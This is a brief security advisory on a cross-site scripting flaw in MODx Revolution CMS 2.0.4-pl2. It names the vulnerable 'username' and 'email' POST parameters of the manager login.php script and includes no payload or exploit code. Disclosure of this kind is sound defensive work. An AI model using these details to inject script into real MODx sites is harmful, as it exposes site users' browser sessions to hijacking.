 Title: MODx Revolution CMS 2.0.4-pl2 Remote XSS POST Injection Vulnerability


 Vendor: MODx, LLC.
 Product web page: http://www.modxcms.com
 Affected version: 2.0.4-pl2 (public launch 2)

 Summary: MODx Revolution is a powerful PHP Content Management Framework that plays nicely
 with custom code and helps you build sites faster and maintain them with ease. With Revolution
 you'll leverage the best things to come around since MVC and Active Record.

 Desc: The MODx Revolution CMS suffers from a XSS vulnerability when parsing user input to
 the "username" and "email" parameters via POST method in login.php script at the manager
 login interface. Attackers can exploit this weakness to execute arbitrary HTML and script
 code in a user's browser session.
